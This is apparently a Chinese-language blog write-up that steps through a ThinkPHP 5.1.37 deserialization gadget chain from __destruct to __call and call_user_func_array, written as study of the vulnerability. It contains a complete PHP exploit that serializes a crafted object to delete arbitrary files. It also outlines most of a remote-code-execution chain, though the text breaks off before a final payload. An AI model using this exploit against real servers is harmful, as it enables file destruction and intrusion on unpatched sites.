前言

国庆旅游回来,发现tp反序列化链很流行,试着学习一下,打算用三篇文章来目前最新的三个反序列化漏洞。

环境搭建

composer create-project topthink/think=5.1.37 v5.1.37

poc演示截图

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4c19714a-5063-4cd9-8b41-c6220733fea4/rId23.png

调用链

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b824b700-4886-43f3-8559-7083ea84c419/rId25.png

单步调试

漏洞起点在.php的__destruct魔法函数。

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里同时也存在一个任意文件删除的漏洞,exp如下

<?php
namespace think\\process\\pipes;
class Pipes{
}

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['C:\\FakeD\\Software\\phpstudy\\PHPTutorial\\WWW\\shell.php'];
    }
}

echo base64_encode(serialize(new Windows()));

这里$filename会被当做字符串处理,而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/a6ee06b1-0a9b-4643-b6c9-952d0715ba62/rId27.png

//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function __toString()
{
    return $this->toJson();
}
//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}
//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function toArray()
{
    $item       = [];
    $hasVisible = false;
    ...
    if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation = $this->getRelation($key);

            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }
    ...
}
//thinkphp\\library\\think\\model\\concern\\Attribute.php
public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
    。。。
    return $value;
}
//thinkphp\\library\\think\\model\\concern\\Attribute.php
public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的this −  > append是我们可控的然后通过getRelation(key),但是下面有一个!relation, 所以我们只要置空即可然后调用getAttr(key),在调用getData(name)函数这里this->data[‘name’]我们可控,之后回到toArray函数,通过这一句话relation −  > visible(name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/66c654ba-4745-4fd3-b563-50016e35d13c/rId28.png

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。